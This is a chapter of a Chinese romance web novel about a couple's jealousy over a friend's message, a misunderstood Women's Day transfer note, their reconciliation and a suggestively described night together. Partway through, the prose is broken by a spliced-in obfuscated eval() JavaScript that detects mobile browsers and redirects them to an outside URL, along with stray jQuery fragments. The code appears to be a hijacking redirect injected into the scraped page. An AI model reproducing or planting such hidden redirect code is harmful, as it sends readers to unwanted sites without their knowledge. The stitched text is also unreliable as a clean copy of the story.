回程路上，车内流淌着舒缓的音乐。
陈屿问她想吃什么，说等会到家直接吃外卖。周予萂想了想，这两天在老家顿顿大鱼大肉，胃里腻得慌，便提议吃些清淡的点心。
陈屿没多说，直接把手机递给她：“你点，密码0202。”
“哦。”周予萂接过手机。
她向来没有窥探别人隐私的爱好，更没好奇过他的密码。毕竟两人正经确定关系才两个多月，这段时间他又恰好出差，他们还没熟到可以随意翻看对方手机的地步。
她打开美团，刚选了一笼虾饺和一份干炒牛河，屏幕上方跳出来一个微信弹窗。
萧河：【哪儿去了？】
周予萂指尖一顿，没理会。
陈屿的朋友圈子她涉猎不深，萧河她虽认识，但不熟。
弹窗并没有因为她的无视而停止，反而像连环炮一样一条接一条地蹦出来，想忽视都难：
萧河：【回来几天了都不吱声？】
萧河：【不约一波？】
萧河：【今晚出来喝一杯啊，老地方。】
萧河：【旖伊回来了。】
最后那条消息，猝不及防地进入了周予萂的视线。
她眼神微暗，没再往屏幕上方多看一眼，面无表情地加购完想吃的东西，确认好收货地址后，将手机还给他：“点好了，你支付吧。”
陈屿正在变道，没伸手接：“支付密码110202。”
周予萂愣了愣。
她原本只知道0202是他的生日，没想到支付密码里除了这串数字，还藏着别的。
她扯了扯唇：“现在红灯，你自己付就好。”
陈屿没察觉到她的异样，接过手机快速完成了支付。
此时，周予萂坐在陈屿家里的餐桌前，心不在焉地啃着盐焗鸡爪，脑子里全是从他手机里看到的那个名字：旖伊，以及他的支付密码：110202。
她越想越觉得这鸡爪索然无味，终于忍不住开口：“你今晚是要出去是吧？那顺便把我送到地铁口吧，时间不早了，我要回家了。”
陈屿刚接了杯温水过来，闻言脚步一顿，“今晚就住这吧。”
“我想回家。”
陈屿把水杯搁在茶几上，声音沉了沉：“你就那么不乐意和我待在一起？”
周予萂垂下眼帘，用力捏着那只鸡爪，半晌没吭声。她没法直接质问“旖伊回来了”是什么意思，也没法问他“110202”的密码意味着什么，那样显得自己太小家子气，也显得她太过在意。
她吐掉鸡骨头，找了个借口：“你的洗漱用品我用不习惯。”
陈屿拿出手机，点开购物软件：“现在买半小时内就能送到。想要什么牌子的？洗面奶、沐浴露、卸妆水还有护肤品，多买点。”
说着，他把亮屏的手机递到她面前。
正僵持着，屏幕上方又地弹进来一条微信：
萧河：【你真不来？为啥？大家都在等你】
陈屿扫了一眼消息，又看了看周予萂，瞬间福至心灵，了然了她那点别扭。
他直接划掉了萧河的消息，把手机扔到沙发上，然后偏头看她，语气软了下来：“我今晚没打算出去，谁叫也不去。”
他往前凑了凑，上手轻轻捏了捏她的脸，低声控诉：“不像某人，我出差了两个月，隔着千山万水都记挂着她，她倒好，一点音信都没有。”
“放屁。”周予萂没忍住，瞪了他一眼：“隔十几二十天才发一条微信，这叫记挂？”
“谁放屁了？”
陈屿觉得自己更冤枉，“哪次不是我主动找的你？你主动过一次吗？”
前一晚被周予泽打断的算账，终是来了。
他顿了顿，语气里的怨念更重了：“三八妇女节那天，我给你支付宝转账了，你回都不回我一句，到底是谁冷暴力谁？”
周予萂被他这一提醒，火气更大了。当时确实收到过一笔转账，但那备注栏里赫然写着四个字：“三八快乐！”
她当时刚和同事看完电影出来，看到这行备注差点没把手机砸了。
你才三八，你全家都三八！你不找我就算了，一找我就说我三八！
周予萂掏出自己的手机，打开支付宝和他的聊天界面，把屏幕怼到他眼前，指着那行备注说：“你自己看看备注，你是不是觉得我很像个三八？”
陈屿定睛，愣了一秒，噗嗤一声笑了。
“怪不得...那天我给我妈转账也是这个备注，结果她打电话把我痛骂一顿，说我没良心、不懂事，还说我不尊重女性。我当时在工地忙得晕头转向，备注的时候手快漏打了一个字。”
他说着，伸手揉了揉她的头，“你忘了？你之前发朋友圈说，拒绝‘女神节’‘女王节’这种虚头巴脑的名目，就要过‘三八妇女节’，说这才是对女性真正的尊重。所以我特意没写那些乱七八糟的，想跟你保持步调一致。谁知道忙中出错，漏了个字。”
“我以为是我妈老古板,接受不了自己过三八节才骂我，没想到你也气成这样。明明是顺着你的心意来的,怎么还生我气？”
周予萂脸都红了，不知道是被他揉的，还是心底那股翻涌而来的悸动。
她很少发朋友圈，也不觉得有什么可遮掩的，所以一直设置的“全部可见”。但她记得很清楚，上次发关于“三八妇女节”的言论，还是她刚上大学那会儿，刚接触到女性主义理论时。
那条动态，距今已经整整七年了。
中考结束后，她加过陈屿的微信，后来拉黑删除便断了所有联系。再次加上好友是去年在国际会展中心。没想到，他竟然翻到了她七年前的朋友圈，还把她那时的言论记在了心里。
周予萂的心漏了半拍，刚才那点不安情绪被抚平了大半。
“还走嘛？”陈屿挑了挑眉，又一次把手机递到她面前，“今晚留下吧，我累了，想早点睡。”
周予萂快速挑了常用的洗面奶和卸妆水，递给陈屿时，他随意瞥了眼，没有付款，又点开洗护分类：“再买点。洗发水、沐浴露都选你习惯的牌子。省得下次又拿用不惯当借口，闹着要回家。”
周予萂：“……”
这套房子地处市中心黄金地段，外卖送得很快。
陈屿把刚到的洗漱用品一一拆封，摆进主卧浴室后，转身对周予萂说：“你在这洗吧，我去外面的客卫。”
周予萂应了一声。走进主卧浴室时，忍不住多打量了两眼，上次她来，都没在清醒状态下细细看过。
这浴室面积比她家的大了不止两倍，甚至还带个双人浴缸。
她真是不解，陈屿这种住惯了豪宅的大少爷，怎么会经常往她那鸽子笼似的loft跑？她家卫生间连干湿分离都没有，洗个澡水花溅得满地都是，转个身都费劲。
陈屿洗澡很快，没几分钟就裹着浴袍出来了。他在客厅坐了会儿，处理了几条工作信息，然后走进主卧，掀开被子躺了下来。
耳边只有浴室里淅淅沥沥的水声，迟迟不见周予萂出来。起初他还能耐着性子等，可那水声断断续续响了快半小时，她还没出来。
陈屿坐不住了，起身走到浴室门口，敲了敲门：“还好吗？是不是不舒服？”
浴室里的周予萂正低头搓着头发上的泡沫，听到敲门声吓了一跳，连忙关掉花洒：“没有，马上就好了！”
“好，不急，你慢慢洗。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410523|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
听到脚步声远去，周予萂松了口气，重新打开了花洒。
婚宴上抽烟的人多，她被迫吸了不少二手烟，发丝都被腌入味了，因此特意洗了两遍头，又慢悠悠地做了个发膜，自然比平时慢许多。
等她裹着干发帽出来时，已经是半小时后。
她抬眼看向躺在床上刷手机的陈屿，说：“里面没找到吹风机。”
言外之意：你去给我找。
“等一下。”陈屿放下手机下床。他一个人住惯了，短发擦两把就干，主卧从来不放吹风机。
没一会儿，他拎着吹风机回来，伸手拉住她的手腕，把她重新带回浴室，在洗手台宽大的镜子前站定。
“帮你吹。”
周予萂背对着镜子，陈屿就站在她身前。两人离得很近，近到能闻到他身上淡淡的沐浴露香味。
她身高一米六五，站直了刚到他下巴，抬眼便是他清晰流畅的下颌线。
吹风机的嗡嗡轻响散开，温热的风混着洗发水的清香扑面而来。周予萂觉得周身暖融融的，心跳不受控地加快。
她轻轻侧过身，从镜子里看见陈屿微蹙着眉，神情专注。暖黄的灯光打在他脸上，柔和了他平日里的冷冽。
她的头发又多又厚，陈屿也不急，分成几缕慢慢吹。温热的指腹偶尔擦过她的耳尖，带起细微的酥麻电流。
“你耳朵怎么这么红？”
头顶传来陈屿的笑意。
“啊？”周予萂被点破，干脆破罐子破摔，直接转过身面对着镜子。好家伙，不光耳朵红，脸也红透了，像只熟透的虾。
她刚把手贴到脸上试图降温，就从镜子里看见陈屿正俯身向她靠近。
下一秒，耳尖传来湿热的触感。他衔住了她通红的耳垂，舌尖轻轻一卷。
镜中，两人的身影紧紧交叠，亲密无间。
两个小时前因门铃声而未能在流理台上完成的遗憾，在这面镜子前得到了延续。
结束后，周予萂抱怨腰背被硌得生疼，陈屿就抱她去床上，哄着正反都来了一遍，最后这场角逐以女性占上风的姿势结束。
四月份的深圳，空调开了一晚，但两人的身上始终热得发烫，黏腻的汗水交织在一起，分不清彼此。因贪享受，在浴缸里亲着抱着，演变成了第三轮的纠缠。
等再次被抱回床上时，周予萂已经到了体力的临界点。她连眼皮都沉得抬不起来，浑身像被拆散重组过一样，酸软得连一根手指都不想动，只想昏睡过去。
就在意识即将涣散之际，耳边响起了陈屿低沉的声音，他精准地翻出了旧账：“你不是说，过了二十五岁的男人不行吗？”
他轻咬着她的耳朵，揶揄道：“现在是谁不行？嗯？”
周予萂困得连把手从被窝外挪进去的力气都没有，听到这句得了便宜还卖乖的话，她含糊不清地嘟囔了一声。
没过几秒，她的呼吸声便变得平稳绵长，秒睡。
陈屿没打算真的要个确切答案。
他看着她安静的睡颜，心里那点因为上次的意外而被质疑的能力，在此刻得以明证。
其实以往他们都不止一次，唯独上次是意外。他出差回来见她之前，已经整整20个小时没有合眼，尤其到了出差后半程，每天都睡不到五小时，感觉自己整个人处在猝死的边缘，状态自然大打折扣。
为此，他那天送她去上班后，就回家补了三天觉。
如今一雪前耻，神清气爽。
他伸手关掉了床头灯，空气中残留的暧昧气息随着夜色慢慢沉淀。
陈屿躺回原位，指尖碰到她微凉的手臂，将她的手轻轻掖进了被窝，然后习惯性地侧过身，将她细密地抱进怀里。